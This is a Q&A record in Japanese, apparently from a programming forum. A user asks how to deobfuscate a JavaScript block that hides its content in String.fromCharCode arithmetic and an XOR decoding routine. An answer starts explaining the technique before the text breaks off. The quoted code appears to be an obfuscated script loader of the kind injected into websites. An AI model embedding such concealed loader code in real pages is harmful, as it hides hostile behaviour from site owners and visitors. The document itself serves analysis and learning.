- 5, 81 - 1, 88 - 6, 62 - 5, 115 - 5, 96 - 8, 109 - 3, 107 - 8, 68 - 2, 85 - 5, 86 - 1, 61 - 4, 67 - 1, 106 - 6, 116 - 8, 83 - 5, 74 - 5, 100 - 1, 110 - 2, 115 - 7, 54 - 2, 97 - 9, 49 - 1, 83 - 5, 74 - 1, 87 - 4, 78 - 6, 97 - 7, 88 - 5, 89 - 2, 94 - 7, 64 - 7, 95 - 5, 107 - 7, 85 - 3, 74 - 1, 58 - 9, 85 - 2, 73 - 7, 49 - 1, 58 - 7, 77 - 7, 90 - 8, 123 - 4, 106 - 2, 75 - 7, 89 - 1, 116 - 1, 78 - 6, 78 - 4, 123 - 4, 120 - 1, 79 - 1, 82 - 6, 112 - 6, 49 - 1, 109 - 7, 95 - 5, 57 - 8, 57 - 5, 56 - 6, 75 - 3, 72 - 5, 111 - 8, 108 - 6, 73 - 7, 75 - 3, 75 - 5, 99 - 1, 94 - 7, 91 - 4, 56 - 3, 77 - 8, 103 - 6, 74 - 5, 55 - 2, 115 - 8, 96 - 9, 91 - 4, 82 - 8, 56 - 6, 93 - 8, 116 - 8, 116 - 8, 123 - 5, 92 - 5, 93 - 5, 95 - 9, 80 - 1, 101 - 4, 83 - 1, 85 - 4, 94 - 9, 106 - 6, 108 - 5, 104 - 5, 97 - 8, 79 - 4, 72 - 6, 120 - 1, 62 - 7, 80 - 9, 113 - 4, 102 - 3, 71 - 5, 74 - 8, 112 - 6, 82 - 9, 92 - 4, 69 - 4, 84 - 3, 73 - 8, 104 - 2, 105 - 3, 88 - 3, 111 - 4, 119 - 5, 66 - 1, 84 - 3, 97 - 8, 128 - 8, 88 - 2, 92 - 6, 71 - 5, 127 - 9, 88 - 1, 72 - 1, 111 - 7, 87 - 3, 100 - 3, 87 - 2, 89 - 3, 94 - 4, 91 - 3, 77 - 7, 79 - 5, 98 - 8, 106 - 8, 53 - 4, 112 - 4, 52 - 3, 85 - 1, 110 - 1, 116 - 8, 80 - 7, 76 - 6, 72 - 5, 118 - 6, 88 - 5, 77 - 9, 68 - 1, 56 - 4, 102 - 1, 84 - 7, 72 - 7, 72 - 7, 61 - 4, 84 - 2, 108 - 5, 72 - 3, 53 - 1, 79 - 9, 113 - 9, 120 - 1, 56 - 5, 86 - 8, 110 - 4, 83 - 5, 72 - 1, 105 - 7, 107 - 3, 76 - 7, 76 - 2, 86 - 6, 108 - 4, 50 - 2, 95 - 8, 101 - 4, 78 - 8, 69 - 3, 58 - 9, 85 - 1, 52 - 1, 90 - 8, 89 - 3, 88 - 5, 74 - 2, 120 - 4, 75 - 7, 89 - 4, 75 - 4, 65 - 9, 76 - 9, 91 - 3, 49 - 1, 56 - 3, 119 - 7, 88 - 5, 74 - 5, 105 - 1, 51 - 1, 87 - 2, 110 - 7, 123 - 8, 114 - 1, 69 - 1, 85 - 2, 73 - 8, 101 - 2, 81 - 7, 52 - 3, 82 - 4, 110 - 5, 101 - 1, 111 - 3, 76 - 2, 91 - 1, 105 - 7, 121 - 2, 87 - 5, 109 - 7, 93 - 3, 72 - 1, 117 - 9, 78 - 5, 89 - 6, 78 - 6, 96 - 7, 73 - 7, 80 - 8, 73 - 5, 123 - 8, 120 - 4, 83 - 3, 72 - 7, 78 - 1, 122 - 7, 70 - 4, 129 - 9, 52 - 4, 106 - 1, 92 - 5, 105 - 1, 63 - 7, 59 - 5, 71 - 1, 124 - 2, 97 - 8, 99 - 2, 82 - 9, 68 - 3, 100 - 1, 78 - 7, 105 - 3, 112 - 4, 119 - 3, 91 - 1, 84 - 6, 76 - 4, 86 - 8, 58 - 9, 91 - 7, 113 - 4, 117 - 9, 77 - 4, 91 - 8, 80 - 8, 90 - 1, 67 - 1, 75 - 3, 72 - 4, 122 - 7, 62 - 8, 87 - 8, 110 - 7, 78 - 9, 111 - 6, 69 - 4, 85 - 4, 51 - 2, 49 - 6, 77 - 8, 83 - 1, 98 - 9, 107 - 4, 71 - 2, 113 - 7, 125 - 6, 80 - 4, 94 - 4, 92 - 7, 113 - 9, 84 - 4, 93 - 3, 51 - 3, 73 - 7, 81 - 6, 106 - 9, 76 - 6, 89 - 3, 54 - 5, 88 - 1, 89 - 1, 120 - 8, 95 - 6, 85 - 4, 96 - 9, 54 - 5, 60 - 8, 94 - 7, 94 - 7, 66 - 9, 95 - 5, 106 - 6, 93 - 8, 59 - 6, 118 - 6, 68 - 2, 67 - 2, 106 - 7, 53 - 4, 73 - 4, 127 - 7, 91 - 6, 103 - 4, 76 - 8, 91 - 7, 117 - 6, 101 - 2, 77 - 2, 72 - 7, 60 - 4, 85 - 7, 104 - 3, 74 - 9, 75 - 6, 108 - 9, 82 - 3, 130 - 8, 72 - 7, 107 - 3, 76 - 9, 129 - 8, 84 - 2, 73 - 8, 74 - 7, 123 - 1, 108 - 1, 105 - 5, 75 - 6, 107 - 2, 98 - 9, 106 - 7, 104 - 3, 88 - 3, 61 - 8, 121 - 4, 90 - 3, 91 - 6, 59 - 2, 48 - 1, 88 - 5, 95 - 7, 85 - 7, 126 - 8, 92 - 5, 89 - 1, 88 - 2, 87 - 8, 102 - 5, 94 - 9, 111 - 8, 105 - 3, 86 - 6, 128 - 8, 121 - 2, 105 - 5, 78 - 5, 67 - 2, 55 - 2, 63 - 8, 74 - 9, 111 - 6, 91 - 2, 78 - 2, 68 - 1, 87 - 4, 74 - 1, 103 - 5, 79 - 9, 106 - 1, 78 - 8, 95 - 5, 99 - 2, 76 - 7, 61 - 9, 45 - 2, 86 - 8, 122 - 3, 85 - 4, 61 - 8, 75 - 6, 89 - 7, 111 - 8, 59 - 4, 70 - 1, 74 - 6, 117 - 6, 71 - 6, 106 - 7, 117 - 8, 77 - 3, 82 - 9, 102 - 2, 114 - 6, 81 - 7, 95 - 5, 80 - 3, 112 - 4, 94 - 8, 53 - 4, 93 - 5, 76 - 4, 116 - 8, 80 - 7, 88 - 7, 117 - 7, 96 - 6, 74 - 6, 86 - 3, 93 - 5, 60 - 3, 77 - 3, 109 - 7, 72 - 2, 95 - 9, 72 - 4, 92 - 9, 71 - 2, 112 - 9, 115 - 1, 107 - 6, 76 - 6, 112 - 4, 127 - 9, 81 - 9, 129 - 8, 70 - 5, 69 - 4, 81 - 6, 105 - 1, 123 - 4, 71 - 5, 83 - 4, 86 - 4, 128 - 8, 92 - 2, 84 - 4, 70 - 4, 125 - 6, 106 - 2, 82 - 6, 88 - 5, 97 - 8, 73 - 1, 67 - 2, 124 - 2, 61 - 5, 96 - 8, 86 - 1, 89 - 6, 127 - 8, 112 - 3, 85 - 6, 127 - 8, 60 - 4, 111 - 4, 74 - 6, 88 - 3, 83 - 1, 54 - 4, 75 - 9, 75 - 9, 109 - 6, 114 - 8, 74 - 6, 69 - 1, 69 - 3, 71 - 4, 101 - 4, 85 - 4, 54 - 6, 90 - 9, 84 - 7, 106 - 2, 82 - 5, 74 - 9, 89 - 9, 76 - 6, 70 - 4, 54 - 5, 74 - 4, 92 - 7, 81 - 3, 75 - 2, 86 - 3, 77 - 5, 96 - 6, 85 - 2, 73 - 5, 125 - 4, 57 - 5, 81 - 5, 105 - 5, 84 - 3, 117 - 2, 121 - 1, 77 - 9, 67 - 2, 112 - 5, 106 - 1, 74 - 4, 54 - 5, 116 - 8, 130 - 9, 93 - 6, 91 - 7, 117 - 2, 82 - 6, 88 - 8, 115 - 8, 111 - 8, 121 - 6, 85 - 7, 120 - 1, 95 - 6, 105 - 6, 97 - 7, 53 - 4, 75 - 9, 125 - 8, 96 - 6, 77 - 6, 110 - 2, 78 - 5, 89 - 6, 78 - 6, 93 - 4, 94 - 6, 68 - 3, 87 - 4, 123 - 8, 97 - 8, 80 - 7, 88 - 7, 120 - 4, 113 - 3, 80 - 9, 125 - 6, 52 - 4, 112 - 7, 84 - 6, 111 - 7, 109 - 6, 60 - 5, 79 - 7, 79 - 7, 55 - 7, 79 - 3, 83 - 6, 89 - 8, 121 - 2, 83 - 9, 74 - 1, 112 - 8, 103 - 3, 95 - 7, 82 - 7, 73 - 7, 126 - 7, 107 - 3, 80 - 5, 114 - 9, 104 - 1, 104 - 5, 71 - 3, 90 - 2, 61 - 8, 100 - 2, 92 - 5, 88 - 1, 91 - 9, 94 - 4, 80 - 3, 72 - 6, 94 - 5, 120 - 4, 76 - 9, 90 - 8, 75 - 6, 116 - 8, 95 - 8, 53 - 5, 82 - 8, 71 - 1, 88 - 1, 95 - 7, 90 - 4, 82 - 3, 98 - 1, 86 - 4, 53 - 1, 80 - 6, 79 - 5, 78 - 8, 74 - 1, 99 - 2, 74 - 5, 67 - 2, 65 - 9, 56 - 8, 73 - 8, 108 - 2, 125 - 6, 85 - 7, 85 - 2, 75 - 4, 123 - 7, 91 - 8, 74 - 2, 76 - 8, 126 - 7, 100 - 3, 82 - 4, 73 - 7, 54 - 2, 119 - 4, 82 - 1, 73 - 7, 59 - 7, 52 - 1, 78 - 6, 106 - 3, 124 - 5, 117 - 4, 93 - 8, 77 - 5, 92 - 6, 73 - 3, 102 - 5, 89 - 4, 74 - 8, 67 - 2, 81 - 4, 121 - 2, 119 - 8, 109 - 9, 79 - 3, 108 - 5, 69 - 4, 112 - 3, 89 - 5, 112 - 2, 88 - 6, 93 - 7, 92 - 9, 71 - 3, 106 - 3, 80 - 8, 71 - 1, 86 - 3, 84 - 6, 88 - 7, 105 - 5, 95 - 9, 71 - 1, 120 - 8, 86 - 2, 56 - 8, 65 - 8, 55 - 5, 89 - 6, 75 - 5, 110 - 2, 116 - 5, 90 - 9, 119 - 9, 93 - 8, 78 - 2, 84 - 7, 86 - 4, 108 - 5, 74 - 8, 76 - 2, 73 - 7, 102 - 3, 79 - 4, 101 - 2, 117 - 9, 56 - 3, 58 - 9, 85 - 3, 90 - 3, 110 - 3, 81 - 3, 77 - 8, 71 - 3, 78 - 5, 86 - 2, 72 - 4, 85 - 2, 119 - 7, 93 - 5, 77 - 4, 90 - 9, 70 - 1, 103 - 4, 89 - 9, 69 - 2, 120 - 5, 79 - 9, 75 - 9, 107 - 4, 124 - 9, 110 - 1, 76 - 6, 131 - 9, 75 - 1, 73 - 2, 90 - 1, 71 - 2, 73 - 3, 90 - 6, 93 - 5, 73 - 3, 77 - 3, 99 - 9, 101 - 3, 58 - 9, 109 - 2, 122 - 2, 66 - 1, 87 - 4, 119 - 8, 107 - 7, 74 - 8, 86 - 2, 81 - 4, 100 - 1, 76 - 8, 92 - 5, 77 - 8, 104 - 7, 84 - 5, 108 - 5, 73 - 4, 106 - 1, 73 - 8, 86 - 5, 53 - 4, 55 - 5, 85 - 1, 57 - 8, 112 - 5, 122 - 7, 83 - 9, 110 - 4, 124 - 9, 85 - 5, 76 - 2, 71 - 6, 56 - 7, 82 - 9, 106 - 4, 92 - 6, 82 - 8, 104 - 3, 102 - 3, 110 - 2, 62 - 9, 57 - 8, 83 - 1, 92 - 5, 109 - 2, 83 - 7, 83 - 5, 127 - 6, 67 - 2, 91 - 7, 77 - 7, 92 - 8, 113 - 2, 105 - 6, 106 - 8, 116 - 7, 91 - 9, 118 - 6, 86 - 3, 69 - 3, 93 - 7, 104 - 5, 110 - 9, 71 - 1, 116 - 8, 121 - 3, 69 - 1, 127 - 5, 82 - 1, 104 - 5, 98 - 1, 91 - 9, 112 - 1, 80 - 2, 82 - 4, 124 - 4, 91 - 2, 72 - 7, 76 - 4, 74 - 9, 52 - 4, 49 - 1, 74 - 3, 111 - 6, 126 - 7, 122 - 8, 74 - 9, 69 - 1, 78 - 1, 84 - 2, 75 - 6, 108 - 5, 97 - 8, 94 - 6, 76 - 3, 88 - 7, 122 - 7, 56 - 1, 77 - 5, 108 - 5, 109 - 2, 61 - 7, 89 - 4, 108 - 1, 90 - 8, 122 - 4, 70 - 3, 111 - 5, 67 - 2, 98 - 1, 71 - 6, 70 - 5, 97 - 8, 108 - 9, 82 - 5, 126 - 7, 72 - 7, 84 - 4, 79 - 3, 110 - 6, 92 - 6, 61 - 4, 69 - 2, 70 - 2, 125 - 6, 77 - 6, 68 - 1, 126 - 5, 77 - 4, 107 - 9, 74 - 4, 109 - 4, 79 - 9, 89 - 7, 109 - 7, 74 - 5, 57 - 5, 127 - 6, 92 - 3, 114 - 7, 106 - 2, 54 - 4, 94 - 9, 117 - 9, 112 - 5, 110 - 1, 77 - 5, 54 - 3, 91 - 5, 76 - 5, 84 - 8, 82 - 1, 107 - 8, 78 - 2, 78 - 5, 126 - 6, 59 - 3, 104 - 5, 77 - 4, 83 - 2, 50 - 1, 57 - 2, 81 - 9, 69 - 2, 127 - 8, 78 - 4, 72 - 4, 73 - 6, 65 - 9, 109 - 5, 75 - 7, 92 - 9, 56 - 4, 80 - 2, 78 - 1, 76 - 7, 58 - 5, 56 - 8, 95 - 9, 88 - 2, 95 - 9, 51 - 1, 91 - 5, 90 - 8, 116 - 5, 104 - 1, 75 - 5, 76 - 9, 93 - 8, 69 - 2, 85 - 9, 73 - 7, 125 - 6, 80 - 2, 101 - 2, 93 - 5, 105 - 1, 96 - 6, 99 - 1, 50 - 1, 110 - 2, 58 - 9, 93 - 9, 116 - 7, 112 - 4, 79 - 6, 92 - 9, 69 - 2, 114 - 3, 83 - 4, 93 - 6, 87 - 4, 123 - 8, 94 - 7, 80 - 2, 111 - 7, 123 - 8, 114 - 7, 76 - 8, 87 - 6, 91 - 2, 107 - 2, 96 - 8, 70 - 5, 117 - 2, 120 - 7, 73 - 2, 73 - 5, 76 - 7, 94 - 6, 80 - 9, 105 - 1, 123 - 4, 83 - 9, 79 - 6, 110 - 6, 106 - 6, 98 - 8, 105 - 6, 114 - 7, 84 - 2, 56 - 7, 85 - 2, 84 - 1, 67 - 2, 79 - 8, 73 - 1, 73 - 5, 78 - 1, 74 - 9, 78 - 7, 68 - 1, 128 - 9, 82 - 4, 86 - 6, 69 - 3, 106 - 3, 124 - 9, 87 - 3, 50 - 2, 77 - 7, 56 - 6, 75 - 8, 90 - 2, 84 - 6, 121 - 3, 93 - 6, 91 - 3, 87 - 1, 80 - 1, 103 - 6, 93 - 8, 107 - 4, 80 - 4, 80 - 1, 105 - 1, 102 - 3, 93 - 4, 86 - 6, 93 - 9, 74 - 9, 57 - 2, 78 - 7, 109 - 4, 127 - 8, 98 - 1, 75 - 3, 115 - 9, 101 - 2, 110 - 9, 94 - 9, 87 - 3, 52 - 4, 106 - 7, 82 - 4, 71 - 6, 117 - 6, 125 - 6, 80 - 1, 121 - 1, 121 - 2, 59 - 8, 72 - 6, 105 - 1, 124 - 5, 86 - 9, 77 - 8, 91 - 7, 73 - 8, 80 - 2, 81 - 8, 109 - 4, 75 - 6, 79 - 8, 81 - 8, 112 - 8, 105 - 6, 82 - 6, 81 - 2, 89 - 7, 109 - 6, 61 - 8, 89 - 7, 59 - 8, 82 - 8, 107 - 2, 88 - 5, 76 - 4, 99 - 9, 92 - 9, 92 - 5, 92 - 5, 66 - 9, 96 - 6, 76 - 2, 111 - 7, 112 - 1, 116 - 5, 77 - 6, 111 - 7, 124 - 4, 52 - 9, 94 - 7, 55 - 7, 83 - 9, 73 - 3, 93 - 6, 89 - 1, 92 - 6, 87 - 8, 99 - 2, 90 - 8, 95 - 9, 113 - 8, 107 - 7, 114 - 6, 80 - 7, 70 - 1, 95 - 6, 58 - 9, 110 - 2, 115 - 8, 96 - 8, 114 - 5, 70 - 4, 88 - 4, 92 - 3, 116 - 8, 128 - 9, 83 - 3, 92 - 7, 96 - 9, 97 - 7, 87 - 6, 106 - 8, 111 - 2, 86 - 4, 70 - 2, 41 - 2, 61 - 2, 11 - 1, 108 - 6, 119 - 2, 117 - 7, 103 - 4, 117 - 1, 112 - 7, 113 - 2, 116 - 6, 33 - 1, 128 - 8, 114 - 3, 115 - 1, 102 - 7, 103 - 2, 113 - 3, 101 - 2, 49 - 9, 120 - 5, 117 - 1, 123 - 9, 110 - 5, 114 - 4, 109 - 6, 49 - 5, 41 - 9, 115 - 8, 107 - 6, 122 - 1, 49 - 8, 33 - 1, 131 - 8, 16 - 6, 41 - 9, 33 - 1, 123 - 5, 101 - 4, 115 - 1, 35 - 3, 117 - 3, 102 - 1, 118 - 3, 38 - 6, 62 - 1, 35 - 3, 48 - 9, 42 - 3, 67 - 8, 17 - 7, 34 - 2, 38 - 6, 109 - 7, 112 - 1, 116 - 2, 33 - 1, 44 - 4, 119 - 1, 100 - 3, 115 - 1, 36 - 4, 112 - 7, 40 - 8, 64 - 3, 41 - 9, 51 - 3, 63 - 4, 39 - 7, 108 - 3, 40 - 8, 63 - 3, 35 - 3, 119 - 4, 121 - 5, 123 - 9, 113 - 8, 113 - 3, 106 - 3, 47 - 1, 115 - 7, 108 - 7, 116 - 6, 110 - 7, 124 - 8, 107 - 3, 66 - 7, 34 - 2, 109 - 4, 46 - 3, 51 - 8, 43 - 2, 37 - 5, 127 - 4, 13 - 3, 41 - 9, 33 - 1, 33 - 1, 36 - 4, 118 - 4, 104 - 3, 120 - 5, 39 - 7, 52 - 9, 63 - 2, 37 - 5, 88 - 5, 124 - 8, 121 - 7, 111 - 6, 119 - 9, 109 - 6, 53 - 7, 105 - 3, 123 - 9, 117 - 6, 112 - 3, 72 - 5, 111 - 7, 105 - 8, 116 - 2, 71 - 4, 120 - 9, 105 - 5, 103 - 2, 49 - 9, 117 - 2, 122 - 6, 117 - 3, 106 - 1, 117 - 7, 107 - 4, 55 - 9, 101 - 2, 105 - 1, 100 - 3, 119 - 5, 69 - 2, 113 - 2, 103 - 3, 103 - 2, 73 - 8, 121 - 5, 49 - 9, 107 - 2, 47 - 6, 35 - 3, 103 - 9, 18 - 8, 33 - 1, 37 - 5, 34 - 2, 38 - 6, 36 - 4, 33 - 1, 37 - 5, 39 - 7, 35 - 3, 33 - 1, 35 - 3, 39 - 7, 39 - 7, 37 - 5, 38 - 6, 37 - 5, 35 - 3, 40 - 8, 40 - 8, 41 - 9, 36 - 4, 38 - 6, 41 - 9, 39 - 7, 37 - 5, 39 - 7, 41 - 9, 34 - 2, 33 - 1, 36 - 4, 37 - 5, 38 - 6, 111 - 4, 108 - 7, 123 - 2, 54 - 8, 101 - 2, 105 - 1, 101 - 4, 119 - 5, 70 - 3, 115 - 4, 102 - 2, 105 - 4, 68 - 3, 122 - 6, 49 - 9, 111 - 6, 39 - 7, 40 - 3, 35 - 3, 114 - 7, 104 - 3, 125 - 4, 48 - 2, 114 - 6, 102 - 1, 112 - 2, 104 - 1, 124 - 8, 113 - 9, 46 - 5, 47 - 6, 65 - 6, 11 - 1, 39 - 7, 39 - 7, 129 - 4, 12 - 2, 38 - 6, 37 - 5, 123 - 9, 102 - 1, 119 - 3, 119 - 2, 120 - 6, 112 - 2, 41 - 9, 122 - 8, 104 - 3, 117 - 2, 61 - 2, 13 - 3, 126 - 1, 13 - 3, 17 - 7, 126 - 8, 104 - 7, 115 - 1, 37 - 5, 104 - 4, 108 - 7, 100 - 1, 36 - 4, 69 - 8, 33 - 1, 128 - 8, 113 - 2, 120 - 6, 97 - 2, 105 - 4, 112 - 2, 108 - 9, 46 - 6, 103 - 6, 124 - 8, 117 - 6, 101 - 3, 45 - 5, 106 - 5, 116 - 6, 106 - 7, 109 - 8, 103 - 3, 46 - 5, 47 - 3, 41 - 9, 115 - 8, 109 - 8, 126 - 5, 43 - 2, 61 - 2, 18 - 8, 46 - 6, 114 - 4, 108 - 7, 126 - 7, 39 - 7, 74 - 4, 125 - 8, 119 - 9, 108 - 9, 122 - 6, 114 - 9, 114 - 3, 111 - 1, 41 - 1, 104 - 4, 105 - 4, 104 - 5, 44 - 3, 47 - 6, 49 - 9, 45 - 4, 68 - 9, 14 - 4, 16 - 6)))();</script>\n <!-- [ #container ] -->\n <div id=\"container\" class=\"innerBox\">\n <!-- [ #content ] -->\n <div id=\"content\">\n \n```\n\nそれが難読化されているソースコードです。\n\n質問1) どのような内容なのか難読化を解除して教えてください。 \n質問2) どのようなテクニックで難読化しているのか具体的に解説をお願いします。 \n質問3) 今後このようなJavascript難読化を解読するにはどのような勉強をすれば良いか教えてください。 \n質問4) 解読ツールのようなものがあれば教えてください。\n\n以上よろしくお願いいたします。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T01:02:58.197",
"favorite_count": 0,
"id": "32121",
"last_activity_date": "2017-02-28T06:13:42.093",
"last_edit_date": "2017-01-25T13:02:34.713",
"last_editor_user_id": "3054",
"owner_user_id": "20376",
"post_type": "question",
"score": 9,
"tags": [
"javascript"
],
"title": "String.fromCharCode で難読化された JavaScript の解読方法を教えてください",
"view_count": 1727
} | [
{
"body": "まずソースコードが文字コード(Unicode)で記載されています。 \n記載された文字コード群を文字列に変換しているのが1つ目です。 \n`String.fromCharCode`\n\n```\n\n document.getElementById(\"console\").innerText=String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107 - 4, 53 - 5, 120 - 9, 80 - 8, 69 - 4, 72 - 3, 56 - 3, 81 - 9, 71 - 1, 117 - 9, 125 - 4, 96 - 9, 91 - 3, 81 - 8, 80 - 9, 81 - 1, 87 - 5, 123 - 4, 91 - 2, 102 - 4, 72 - 2, 51 - 2, 93 - 6, 86 - 7, 82 - 1, 71 - 6, 63 - 6, 78 - 7, 126 - 5, 123 - 7, 80 - 9, 76 - 9, 131 - 9, 114 - 7, 110 - 8, 92 - 6, 106 - 1, 128 - 9, 81 - 6, 78 - 4, 108 - 1, 75 - 6, 115 - 2, 72 - 1, 121 - 1, 122 - 6, 55 - 2, 94 - 8, 87 - 2, 83 - 9, 71 - 1, 91 - 4, 93 - 5, 91 - 6, 92 - 3, 83 - 8, 67 - 1, 117 - 5, 80 - 7, 86 - 8, 90 - 8, 49 - 1, 95 - 8, 76 - 2, 72 - 6, 70 - 5, 125 - 6, 93 - 9, 117 - 7, 86 - 4, 79 - 6, 87 - 3, 123 - 2, 64 - 8, 119 - 5, 78 - 9, 125 - 3, 57 - 9, 91 - 2, 91 - 2, 91 - 7, 59 - 7, 81 - 6, 68 - 1, 58 - 9, 70 - 5, 59 - 2, 75 - 3, 131 - 9, 116 - 1, 81 - 9, 81 - 9, 70 - 3, 93 - 4, 102 - 2, 107 - 6, 68 - 3, 75 - 6, 76 - 1, 104 - 5, 92 - 7, 109 - 1, 127 - 5, 85 - 3, 94 - 8, 114 - 6, 54 - 5, 74 - 7, 71 - 3, 127 - 8, 73 - 2, 73 - 6, 123 - 2, 82 - 9, 105 - 7, 76 - 6, 106 - 1, 73 - 3, 95 - 5, 82 - 8, 105 - 1, 112 - 1, 116 - 5, 77 - 6, 109 - 5, 129 - 9, 44 - 1, 88 - 1, 57 - 8, 112 - 5, 56 - 8, 102 - 3, 56 - 5, 94 - 8, 82 - 3, 100 - 3, 89 - 4, 104 - 1, 105 - 4, 82 - 4, 122 - 3, 68 - 2, 97 - 7, 77 - 1, 67 - 1, 93 - 4, 62 - 8, 68 - 2, 90 - 7, 73 - 8, 80 - 2, 74 - 3, 60 - 9, 98 - 8, 84 - 4, 88 - 1, 88 - 5, 118 - 3, 95 - 8, 79 - 1, 111 - 7, 121 - 6, 109 - 2, 77 - 9, 87 - 6, 96 - 7, 106 - 1, 94 - 6, 74 - 8, 116 - 5, 109 - 6, 75 - 5, 113 - 7, 58 - 6, 77 - 5, 84 - 8, 70 - 1, 108 - 5, 89 - 4, 76 - 1, 114 - 6, 78 - 4, 105 - 4, 104 - 7, 77 - 8, 81 - 7, 106 - 4, 88 - 4, 110 - 1, 109 - 1, 80 - 7, 86 - 3, 70 - 2, 63 - 7, 89 - 4, 92 - 5, 89 - 2, 107 - 8, 106 - 9, 82 - 3, 105 - 2, 72 - 3, 113 - 8, 70 - 5, 85 - 4, 49 - 1, 109 - 1, 94 - 6, 69 - 3, 69 - 4, 107 - 3, 80 - 8, 87 - 3, 68 - 3, 95 - 8, 73 - 7, 112 - 9, 62 - 9, 68 - 3, 85 - 7, 86 - 4, 53 - 5, 89 - 2, 83 - 9, 68 - 2, 68 - 3, 120 - 1, 85 - 3, 54 - 4, 114 - 6, 79 - 5, 92 - 6, 96 - 9, 124 - 8, 91 - 8, 88 - 2, 81 - 9, 60 - 7, 87 - 6, 106 - 6, 88 - 6, 91 - 5, 72 - 4, 84 - 1, 77 - 8, 109 - 5, 59 - 9, 93 - 8, 111 - 3, 109 - 1, 125 - 7, 72 - 5, 123 - 1, 70 - 5, 101 - 4, 85 - 5, 74 - 8, 119 - 8, 74 - 3, 107 - 9, 90 - 2, 113 - 9, 96 - 6, 102 - 4, 54 - 5, 110 - 2, 54 - 5, 74 - 5, 55 - 7, 83 - 5, 77 - 4, 84 - 1, 77 - 5, 93 - 3, 84 - 1, 73 - 4, 74 - 7, 111 - 3, 92 - 2, 107 - 5, 87 - 6, 55 - 7, 110 - 1, 69 - 3, 121 - 2, 86 - 9, 53 - 6, 73 - 3, 120 - 1, 114 - 2, 109 - 5, 78 - 9, 70 - 2, 119 - 4, 77 - 2, 85 - 9, 68 - 2, 71 - 6, 118 - 8, 78 - 1, 72 - 2, 116 - 4, 110 - 9, 82 - 3, 66 - 1, 116 - 8, 55 - 3, 76 - 4, 91 - 8, 122 - 3, 104 - 5, 81 - 9, 73 - 5, 58 - 2, 107 - 8, 75 - 3, 111 - 5, 123 - 3, 108 - 7, 103 - 1, 76 - 7, 54 - 1, 116 - 5, 88 - 2, 91 - 5, 90 - 4, 52 - 2, 93 - 5, 53 - 5, 113 - 9, 114 - 5, 88 - 1, 91 - 8, 59 - 6, 112 - 5, 100 - 3, 89 - 4, 113 - 9, 80 - 7, 104 - 4, 113 - 5, 75 - 1, 98 - 8, 85 - 5, 86 - 4, 121 - 2, 105 - 1, 75 - 4, 131 - 9, 121 - 6, 77 - 6, 89 - 4, 50 - 1, 122 - 2, 87 - 4, 92 - 5, 88 - 1, 60 - 3, 92 - 2, 81 - 6, 78 - 7, 89 - 7, 117 - 5, 87 - 4, 73 - 4, 112 - 8, 55 - 5, 75 - 4, 123 - 3, 60 - 3, 123 - 5, 86 - 1, 88 - 4, 115 - 8, 72 - 6, 82 - 7, 107 - 4, 115 - 8, 74 - 5, 74 - 8, 89 - 8, 96 - 7, 92 - 5, 85 - 5, 89 - 7, 108 - 5, 124 - 3, 71 - 4, 58 - 8, 105 - 6, 87 - 7, 70 - 2, 85 - 2, 77 - 4, 56 - 1, 77 - 9, 87 - 4, 116 - 5, 93 - 8, 109 - 7, 85 - 4, 55 - 7, 112 - 3, 75 - 9, 127 - 8, 79 - 2, 48 - 1, 73 - 3, 55 - 6, 68 - 2, 122 - 4, 83 - 1, 77 - 6, 108 - 4, 87 - 3, 102 - 5, 88 - 3, 64 - 7, 93 - 3, 108 - 9, 90 - 4, 122 - 6, 93 - 3, 80 - 2, 77 - 5, 84 - 6, 52 - 3, 89 - 5, 110 - 1, 116 - 8, 76 - 3, 88 - 5, 73 - 1, 97 - 8, 71 - 6, 76 - 4, 75 - 7, 123 - 8, 84 - 7, 78 - 4, 124 - 5, 71 - 5, 129 - 8, 91 - 2, 108 - 1, 107 - 3, 54 - 4, 92 - 7, 111 - 3, 113 - 6, 130 - 9, 102 - 3, 60 - 9, 94 - 8, 88 - 9, 104 - 7, 87 - 2, 104 - 1, 103 - 2, 82 - 4, 123 - 4, 67 - 1, 94 - 4, 82 - 3, 111 - 7, 109 - 6, 123 - 2, 71 - 4, 127 - 6, 106 - 7, 106 - 7, 88 - 5, 77 - 6, 120 - 4, 87 - 4, 75 - 5, 130 - 9, 53 - 1, 87 - 7, 87 - 7, 67 - 2, 114 - 7, 116 - 5, 74 - 2, 68 - 3, 100 - 1, 113 - 6, 93 - 5, 68 - 3, 127 - 8, 61 - 5, 81 - 9, 73 - 6, 102 - 3, 125 - 7, 77 - 1, 109 - 6, 52 - 4, 79 - 8, 81 - 8, 108 - 1, 112 - 4, 130 - 8, 102 - 4, 52 - 3, 117 - 9, 53 - 4, 85 - 1, 114 - 9, 72 - 7, 82 - 3, 90 - 7, 76 - 4, 55 - 2, 93 - 9, 71 - 3, 68 - 1, 54 - 2, 108 - 7, 82 - 5, 69 - 4, 66 - 1, 66 - 9, 87 - 6, 92 - 7, 111 - 8, 118 - 2, 102 - 1, 79 - 9, 117 - 9, 124 - 6, 94 - 7, 91 - 3, 87 - 1, 85 - 6, 102 - 5, 88 - 6, 113 - 2, 80 - 2, 74 - 1, 112 - 9, 104 - 5, 84 - 8, 77 - 4, 89 - 4, 79 - 5, 108 - 6, 85 - 1, 113 - 4, 114 - 6, 74 - 1, 90 - 7, 75 - 8, 120 - 4, 60 - 8, 106 - 7, 52 - 2, 61 - 4, 93 - 3, 107 - 7, 88 - 3, 57 - 5, 61 - 5, 74 - 7, 88 - 7, 58 - 2, 130 - 8, 74 - 2, 66 - 1, 56 - 7, 124 - 6, 88 - 6, 78 - 6, 92 - 